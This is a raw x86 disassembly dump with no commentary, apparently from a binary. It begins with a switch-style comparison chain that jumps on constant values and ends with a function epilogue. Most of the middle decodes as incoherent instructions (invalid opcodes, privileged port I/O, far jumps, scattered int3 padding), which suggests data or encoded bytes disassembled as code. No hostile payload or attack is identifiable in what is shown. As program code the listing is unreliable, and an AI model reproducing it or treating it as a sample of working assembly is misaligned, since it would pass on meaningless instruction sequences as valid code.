sbb eax, dword [ebp - 0x15c]
jl 0x70b485e0
mov eax, dword [ebp - 0x160]
xor eax, 0x3bf4f
or eax, dword [ebp - 0x15c]
je 0x70b47bc2
mov edx, 0x3bf4f
mov eax, 0
cmp edx, dword [ebp - 0x160]
sbb eax, dword [ebp - 0x15c]
jl 0x70b485e0
mov eax, dword [ebp - 0x160]
xor eax, 0x35f59
or eax, dword [ebp - 0x15c]
je 0x70b45d68
mov edx, 0x35f59
mov eax, 0
cmp edx, dword [ebp - 0x160]
sbb eax, dword [ebp - 0x15c]
jl 0x70b485e0
mov eax, dword [ebp - 0x160]
xor eax, 0x301aa
or eax, dword [ebp - 0x15c]
je 0x70b46c95
mov edx, 0x301aa
mov eax, 0
cmp edx, dword [ebp - 0x160]
sbb eax, dword [ebp - 0x15c]
jl 0x70b485e0
mov eax, dword [ebp - 0x160]
xor eax, 0x7c63
or eax, dword [ebp - 0x15c]
je 0x70b480d1
mov eax, dword [ebp - 0x160]
xor eax, 0x142b9
or eax, dword [ebp - 0x15c]
je 0x70b43f0e
jmp 0x70b485e0
arpl ax, bx
ficom dword [ebx + edi*2 - 0x4f5e9d17]
adc dword [edx], 0x7aa5bb51
add al, 0x98
and ebx, dword [ecx]
add ah, dl
xchg byte [edi - 0x278ae65f], dl
ret
nop
int3
movsb byte es:[edi], byte [esi]
in eax, dx
sub al, 0x26
jae 0x70b415dd
cmp dword [ebp + 0x761272a9], edx
mov dl, pe_nt_image_headers32
loope 0x70b4158d
imul edi, dword [esi + 0x23], 0x26
jae 0x70b41646
pop ecx
cmp dword [esi + 0x6fba9415], esi
xor ebp, dword [esi + 0x54]
mov edx, 0x546e336f
std
nop
int3
ror byte [eax - 0x24474323], 0x1f
cmp dword [eax - 0x32], 0x47cbf8aa
pop ecx
mov ch, 0x76
sbb byte [ecx + 0x49a124cf], 0x52
cmp byte [edi - 0x555802ea], al
jnp 0x70b41647
out dx, eax
jb 0x70b4160e
push cs
ja 0x70b41688
jae 0x70b415c1
and dword [eax + 0x69], edi
nop
int3
jle 0x70b416c3
jnp 0x70b41685
cmp al, 0xfd
std
mov edi, 0x7eba5407
out 0xfd, al
pop edx
xchg ecx, eax
rol ch, 2
mov dh, 0x7d
mov eax, dword [ebx + 0x7f]
pop ss
inc ebx
jg 0x70b41673
sbb ah, 0xd0
ljmp 0xfd62
imul dword [ecx - 0x5702ef80]
nop
ficom dword [eax - 0x14b7c889]
lea ebp, [esi]
inc edi
sub al, 0xb7
nop
ja 0x70b416b5
dec eax
jmp 0x70b4160e
pop eax
or eax, 0xee939321
xchg ebx, eax
xchg ebx, eax
out dx, al
xchg edi, eax
pop ss
jae 0x70b41659
retf 0xcc90
nop
int3
sub byte [eax + 0x6eba9a74], bl
jmp 0x70b4167b
and eax, edx
jne 0x70b4168e
lodsd eax, dword [esi]
mov esi, 0x12151b7f
and dword [edi - 0x3a5b61e], edx
pop edx
cld
invalid
lodsd eax, dword [esi]
xor byte [eax], 0x8f
cmp eax, 0xae16b00c
cmpsd dword [esi], dword es:[edi]
and ch, ah
int3
insd dword es:[edi], dx
and eax, 0x57ee4cda
loope 0x70b41be9
adc ah, byte [0x92f05e4c]
int1
jns 0x70b41bc2
jns 0x70b41bba
jecxz 0x70b41bfd
mov al, 0xc2
loopne 0x70b41c01
sbb eax, 0xc867d155
mov esi, 0xf55e13ed
enter 0xffffffffffffedbe, 0x13
pop esi
cmc
sbb eax, 0x4fa6d6e0
mov ah, 0x3f
add edx, dword [edi + 0x1b]
xor bh, 0xce
push ebp
or al, 0xb3
inc edi
pushfd
arpl word [edx], dx
xlatb
jae 0x70b41b68
inc edx
mov al, byte [0xb89be565]
pop edi
mov esi, 0x919dd0fd
mul dword [ecx]
mov ah, 0xad
rcr byte [ebp - 0x4bde086f], 1
lodsd eax, dword [esi]
push edx
mov bl, byte [ebx]
salc
and eax, 0x34d97ccb
nop
int3
adc eax, 0xecc97665
in al, dx
dec edx
cmp eax, 0xc694b9a5
xchg byte [esi], bl
ret
pop esp
lahf
mov dword [0x91112bb2], eax
sbb ch, byte [edx + 0x4a034012]
inc esi
jno 0x70b42129
iretd
xor byte [ecx + 0x17], al
sbb dword [ecx + 0x52], ecx
inc edx
mov eax, dword [0x19544caa]
add al, 0x6e
dec ebp
sub al, 6
mov bl, 0x33
add al, 0xed
push ecx
retf
test ch, dl
mov ebp, 0x6d79fe99
in al, 0x5f
push 0x70b739cf
mov al, byte [0xb228edce]
mov bh, 0xaf
inc edi
jnp 0x70b42604
add byte [esi], dh
mov dword [edx + 0x2c079777], edi
pop eax
sub al, 0xd8
push esi
jae 0x70b425c5
retf
push eax
invalid
retf
sar esp, 1
push cs
bound ebp, qword [esi + ebx*4 - 0x41ed9885]
cmp eax, 0xa8fb6f1a
salc
cmp eax, 0x5a40f410
int3
int3
push 0xb050d575
push es
lahf
outsb dx, byte [esi]
scasb al, byte es:[edi]
jb 0x70b43494
std
cld
xchg dword [esi + edx*2], ecx
inc eax
ja 0x70b43545
lahf
in al, dx
pop edi
invalid
int3
int1
sbb byte [ebx - 0x11e3829c], 1
out 0x24, eax
sal byte [ebx], 0x88
and al, 0x1c
psubusw mm4, qword [ecx + ebx + 0x559e14f5]
pop edx
push cs
inc edx
sub dword [ebx + 0x14], ecx
movsd dword es:[edi], dword [esi]
adc byte [eax - 0x5b622ee9], dl
sub ch, ah
les edx, [0x8f85a417]
xchg ebx, eax
push ebp
jne 0x70b43a8b
inc eax
xchg ebx, eax
movsb byte es:[edi], byte [esi]
sub esi, dword [ebx - 0x2f]
invalid
adc ebp, dword [edx - 0x6e]
cmp esp, esi
loope 0x70b43a88
in al, dx
retf
xchg ebp, eax
imul ebx, dword [ecx + edi*2 - 0x29], 0xffffffdf
fst qword [ebx + ebp*2]
and ecx, dword [eax - 0x4a0b3674]
sbb eax, 0x22ca826
fbstp tbyte [esi + ecx*4 - 0x5f]
pop ebx
dec edi
mov cl, 1
sbb eax, dword [ecx - 0x6f6e46ff]
int3
jns 0x70b43a64
invalid
cmpsb byte [esi], byte es:[edi]
invalid
jl 0x70b43e4b
lodsd eax, dword [esi]
sbb dword [ecx - 0x31], 0xed46dbe2
cmp al, 0xd2
and dword [esi + 0xd], ebx
fldcw word [ebp - 0x5ce01cbf]
mov ecx, 0xfc2cfb8c
dec ebp
into
nop
int3
sbb byte [edx + 0xa], dh
aaa
out 0x8e, al
cmp bh, byte [edi + 0x632659c6]
hlt
retf 0xacab
xor bl, dh
jno 0x70b43f5e
add eax, 0x2f8bc4a0
fcomi st(4)
inc ebx
mov esi, 0x798ad2c0
nop
int3
or dh, bh
loopne 0x70b43e95
lcall 0x7fe5, 0x7ad23e66
jne 0x70b43f18
jg 0x70b43f81
jne 0x70b43f18
test al, 0xc0
aad 0xeb
pop edi
jg 0x70b43ebf
push ecx
or byte [ebx + ecx*2], cl
int 0xd6
mov ebx, 0x9c990c6f
sbb eax, 0xfe6c69c9
mov dword [0xe30d1c2b], eax
mov ebp, 0x229c7f94
and byte [esi], 0x11
retf 0x2673
jecxz 0x70b43ef6
xchg esp, eax
jg 0x70b43ed8
and al, byte [eax + 0x73ca1126]
dec edi
in al, dx
sbb al, 0x39
aam 0x95
enter 0x2300, 0xffffffffffffffb6
popfd
ret
jge 0x70b43fbd
test eax, 0x92cc90e1
scasb al, byte es:[edi]
sti
mov esp, 0x3610255f
scasb al, byte es:[edi]
imul ebx, dword [edi + 0x79], 0x525f727
insd dword es:[edi], dx
test dword [0x64db895b], ebx
push esp
inc eax
mov ebx, 0xbabd9aef
sbb dh, byte [0xb86a5a79]
mov edx, 0x5a79351a
push 0xffffffffffffffb8
mov bl, 0x1f
jle 0x70b43f37
push edx
mov bx, 0x86d8
dec ecx
jmp 0xb143a143
add dword [esi - 0x1c206cd2], edx
stosb byte es:[edi], al
jmp 0x70b43f47
xchg dword [edi + 0xeb7feb0], ecx
cmp eax, 0x52eb307c
mov byte [esi - 0x6b], al
sti
bound ebp, qword [ebp + 0x1395a5c9]
cdq
cmp byte [ebx + esi], bh
cmp dword [edi + 0x1d0d49be], ecx
ror edx, 1
ljmp 0x82ab
pop ebx
mov byte [0x56a50440], al
mov dl, 0x93
xor dword [edx + 5], 0xffffff83
outsd dx, dword [esi]
xor al, 0x3c
rol byte [ecx - 0x77b2ecc5], 0x8e
cwde
inc esp
test eax, 0xd744d769
ret
or bl, dl
int1
rcl byte [ecx + 0x5df0f025], cl
sub bh, byte [edx + 0x7c15838f]
ficomp dword [ecx + 0x128d6369]
add dword [eax], ebp
pushal
nop
int3
pushal
daa
mov gs, word [eax]
mov ch, 0xf0
push 0xffffffffffffffe9
xor eax, 0xa92dfc67
add al, 0x2a
mov dh, 0x2a
add eax, 0x90036631
push esi
loope 0x70b44d6f
int3
xchg ebx, eax
jl 0x70b44eb7
push 0x10
inc ebx
out 0xf9, al
jae 0x70b44dc5
mov bl, 0xdf
insd dword es:[edi], dx
pushfd
in al, dx
inc esp
mov esp, 0x90b93a67
out dx, eax
jbe 0x70b44e8d
shl esp, cl
invalid
movsb byte es:[edi], byte [esi]
in eax, 0x90
int3
retf
xor al, byte [eax]
add byte [eax], al
mov bl, 0xec
pop ecx
fidivr word [edx]
add byte [ebx + 0x3ade59ec], dh
inc ecx
in eax, 0x10
jmp 0x70b45347
jae 0x70b45891
jmp 0x105653d3
aas
dec esp
inc edi
shl dword [edi], 1
jbe 0x70b45861
mov ecx, 0xa3d1b44d
xchg esp, eax
push ss
sbb al, 0
push esp
aam 0xa1
nop
int3
cmc
adc esp, dword [edi + 9]
jne 0x70b45814
imul eax, ebx, 0xdcfd1a1f
movsb byte es:[edi], byte [esi]
std
js 0x70b458a5
pop ds
sbb bh, ch
fsub qword [ebp + edi*8 - 0x75d2c388]
ljmp 0x1d50
sub eax, 0x47c9ea8a
imul ebx
push eax
sbb eax, 0xd759187
popal
arpl word [ecx + 9], sp
push ds
test dword [ebx], ebp
jmp 0x70b45884
int1
pop es
in al, 0x26
xor dh, byte [ecx]
pushal
out dx, al
dec ecx
rcr dword [esi], 0xa3
pop edx
mov ah, 0x1e
popfd
arpl word [edx + 0x2f], dx
or byte [ecx], al
mov esp, 0x80094ec5
test al, 0x72
xchg ebx, eax
test dword [ebp - 0x76], edx
mov cl, 0xa3
mov ch, 0xc1
sub esp, dword [ebp - 0x6f86e0cf]
mov dword [0xa52bc1b5], eax
xor dword [edi], ebx
jns 0x70b4583e
int3
out dx, eax
jg 0x70b45c9b
pop ecx
int3
insb byte es:[edi], dx
jg 0x70b45cd4
fdivr dword [ebp + ecx*4 + 0x24557f75]
wait
jbe 0x70b45d19
xlatb
mov dword [0xf259704a], eax
retf
mov al, 0x9d
jge 0x70b45c87
add dword [ebx + 0x36], ecx
ljmp 0x5a93
hlt
add byte [edx + ebx*8 + 0x1b410b79], bh
sbb byte [edx], dl
hlt
dec edx
pop edi
xor dword [0x230ae4de], ebp
push esp
mov edi, 0x80961088
push es
cmc
adc eax, 0xbed8278
adc ah, byte [edx + 0x1f73aafe]
stosb byte es:[edi], al
jae 0x70b45d53
mov byte [edi - 0x4451ef0e], bl
or byte [eax + 0x27], 0x5a
lahf
adc byte [esi + 0x604c82bb], ch
daa
pop edx
adc ah, byte [edx]
jne 0x70b45ccb
or edx, ecx
out 0x61, eax
add cl, byte [edi + 0x70]
jmp 0x70b45d31
pop edx
inc ebx
insd dword es:[edi], dx
fild dword [edi + 0x32]
lss ebx, [ecx - 0x5f]
fadd dword [eax + ecx*2]
loopne 0x70b45cf2
int3
jmp 0x70b485e1
scasd eax, dword es:[edi]
inc esp
call 0x8c5adcb3
mov eax, dword [0x1b88a8ac]
mov edx, ss
mov bh, 0x76
aad 0xa2
loop 0x70b45d34
in al, 0x46
xchg edx, eax
mov edi, 0x3e9c9138
jg 0x70b45d63
adc eax, 0xeb99aeb5
xchg esi, eax
inc eax
xchg esp, eax
xchg ecx, eax
call 0x38c2fc63
fidivr dword [edx]
adc ch, ah
and bh, al
rol dword [esi], cl
or bl, byte [edi - 0x26]
js 0x70b45d35
push esi
int1
pop ebp
mov word [0x737c6812], es
jmp 0x1058b279
iretd
cmp eax, 0xfa24b5ad
sbb esp, edx
lodsd eax, dword [esi]
das
mov edx, 0x6376e971
dec ebx
cmp al, dh
and bh, bl
std
popfd
sub byte [edx - 0x6f707b38], dl
int3
push edi
js 0x70b46768
enter 0xffffffffffffc910, 0x34
psubsb mm1, qword [ebx - 0xc928479]
dec ebp
jae 0x70b4670f
mov es, word [ebx - 0x33a719cb]
mov ecx, 0xb787b09a
loopne 0x70b4677a
mov al, 0x87
mov bh, 0xe0
sti
nop
int3
jns 0x70b467c8
invalid
shr edi, cl
cld
pop ecx
test byte [esi - 0xdb53b7a], cl
inc esp
loop 0x70b46761
mov dh, byte [esi + 0x7f41b534]
adc eax, 0x48634377
mov cl, dl
sti
dec ebp
mov bh, 0x9d
adc byte [ebp - 0x1f0b3914], ch
sub dword [esi - 0xa967194], edx
ja 0x70b467dd
jne 0x70b46795
push ecx
outsb dx, byte [esi]
cmp bl, byte [esi - 0x78d77bb3]
adc esp, dword [ecx]
hlt
and esp, esi
fsubr qword [eax + ebx + 0x78]
sar dword [edi + ebx*8], cl
mov edx, 0xcbafd692
adc byte [0xcc9008ea], ch
adc dword [edi], eax
pop es
jb 0x70b46791
push ss
clc
invalid
xchg esp, eax
mov bh, 0x83
and al, 0x97
cmp cl, byte [ecx + 0x1d6d0018]
inc esi
and edi, dword [ebx - 0x58011b7f]
stosd dword es:[edi], eax
inc esp
mov al, byte [0xe1374d8b]
cmc
invalid
adc edx, ebp
xor byte [ebp + 0x77], ch
lodsb al, byte [esi]
ja 0x70b46b04
sbb eax, 0xf5e82129
sub byte [eax + eax + 9], al
and eax, 0x9d648bfe
fstp xword [ebx]
aas
jb 0x70b46b52
shl byte [ecx + 0x7f5c0a5b], 0x8a
sahf
imul edi, dword [ecx], 0xcb7eccf9
scasb al, byte es:[edi]
add edx, edx
shr edi, cl
push eax
in al, dx
retf 0x4bf1
adc eax, 0x28bb8003
dec edx
sub ch, 0x7d
ja 0x70b46b56
mov al, 0xf
invalid
insd dword es:[edi], dx
fisub word [eax]
mov eax, 0xd58f7db6
ja 0x70b46bca
or ah, byte [ebx + 0x5a]
mov ebx, 0x89cb9569
wait
add eax, 0x2e151b11
les edx, [edi]
mov edx, 0xfcec27d7
mov byte [edx + eax*2 - 0x686814fc], dl
invalid
mov dl, 0x66
mov dword [edx + 0x63], ecx
mov word [edx + 0x63], cx
xchg ebp, eax
jno 0x70b46c3f
adc bh, 8
mov ebp, gs
int1
in eax, 0xaf
mov esi, 0x787e883d
shl dword [edi - 7], cl
add edi, dword [ecx + 0x6f]
sti
cmp eax, 0x55c03516
push esi
jnp 0x70b46cd7
dec esp
add dword [edi + 0x1e], esi
aas
fiadd word [0x69433a83]
invalid
pop esi
sbb dword [edi + 0x6a], ecx
push edi
sbb byte [ecx + 0x215b1136], dh
loope 0x70b46c96
aaa
mov cl, 0xfa
fsubr qword [edx - 0x70]
int3
test al, 0x32
stosb byte es:[edi], al
push 0xffffffffffffffba
leave
enter 0xffffffffffffdbed, 0xffffffffffffffc1
cmpsd dword [esi], dword es:[edi]
in al, 0xd9
cmp dword [ebx - 0x71], edx
cmp edx, ebx
push esi
sahf
jbe 0x70b4720e
nop
in eax, 0x3f
pushfd
pushal
pop ebx
mov ebp, 0xbb5200c9
jae 0x70b47227
xor ch, ch
ljmp 0xb63b
nop
int3
lodsd eax, dword [esi]
pop ebx
xchg edx, eax
cmp dword [edx], esi
cli
loope 0x70b4724f
push ebx
mov ch, 0xb0
rcl dword [0x80ea7ee8], 0xe0
inc esi
pop ebp
jecxz 0x70b47253
push esp
inc edi
pushal
mov al, 0xea
ror bl, cl
outsd dx, dword [esi]
push edi
retf 0x8685
int3
adc al, 0x38
lds ebx, [eax + 0x39]
les ebp, [eax + 0x29]
jb 0x70b47291
xor al, byte [edi + 0x53e43469]
inc eax
adc byte [eax - 0x689d36a4], ch
pop ebx
mov dl, 0xb
add dword [0xd49361e3], ebp
pop esp
leave
bound edx, qword [edi + 0x10bb25b]
sub eax, 0xd49361e3
jecxz 0x70b471f8
push ecx
sal byte [edx - 7], 1
pop edx
scasb al, byte es:[edi]
stosd dword es:[edi], eax
mov dh, 0xd6
outsd dx, dword [esi]
inc esi
pop ss
ja 0x70b47286
sbb ebp, dword [0x6746eb22]
jmp 0x70b472ce
out dx, al
sub dword [ecx], eax
dec edx
pop esi
jb 0x70b472fb
mov eax, 0x3d3ed376
inc ecx
stc
outsb dx, byte [esi]
push cs
jbe 0x70b47266
cmp eax, 0xe6ef941
add eax, 0x9b4ce811
dec esp
mov byte [0x7d00563], al
nop
int3
jle 0x70b472fe
jg 0x70b47289
xchg ecx, eax
and al, 0xa0
test byte [esi - 0x5438baf1], 0xfc
sar dword [esi], 0xec
scasb al, byte es:[edi]
and eax, 0x7d4e7ac0
mov edx, 0x64f11aea
push cs
inc edi
sub eax, 0x65a3f7ef
mov edi, 0x6db6ba23
mov cl, 0x3a
imul edx, dword [eax - 0x59de6e34], 0xffffff9e
int3
cmpsb byte [esi], byte es:[edi]
sahf
xor dword [edx], ecx
sti
sbb eax, 0xfad5c53f
push ss
ror byte [ebx], 0x21
push ebx
iretd
dec ecx
pushfd
adc ebp, dword [ebp - 0x1b]
fcomp dword [ecx - 0x14ef8385]
cwd
xchg esp, eax
cli
fnstenv [edx - 0x70]
int3
int 0x29
jb 0x70b47645
add dl, byte [ecx + 0x19]
pop dword [esi - 0x6a5badcc]
mov bh, 0x7f
xor ch, al
mov ah, 9
cwde
ret
push ebp
jp 0x70b47bca
test byte [esi + 0x23e1bab7], dl
xor eax, 0x61576e61
and esi, dword [0x61576e61]
or dl, byte [ebx]
clc
sbb byte [esi + 0x2a], ch
insd dword es:[edi], dx
lcall 0xe9a2, 0x6528ee4e
pushfd
mov bl, 0x45
nop
pop ds
push cs
sub dword [edi], 0x48
sahf
out 0xe9, al
rcr dword [ecx], 1
cdq
inc edx
cmp dword [edx], edx
jne 0x70b47c4b
in al, 3
retf 0x2f37
push es
xchg edx, eax
xlatb
mov dword [ebx], ebx
jno 0x70b47c6a
xchg esi, eax
add byte [eax - 0x5d], ah
pop ecx
inc bl
mov byte [ecx + eax*2 - 0x12974f23], 0xf2
push es
in al, dx
adc ecx, dword [esi]
pop ecx
leave
cmc
cmp al, 0xdb
add byte [eax + 0x47664ccc], dl
fsub st(4)
invalid
fild dword [eax]
nop
int3
pop edx
ret 0xa63d
nop
jmp 0x70b485e1
nop
mov eax, dword [ebp - 0x12c]
mov ebx, dword [ebp - 4]
leave
ret 8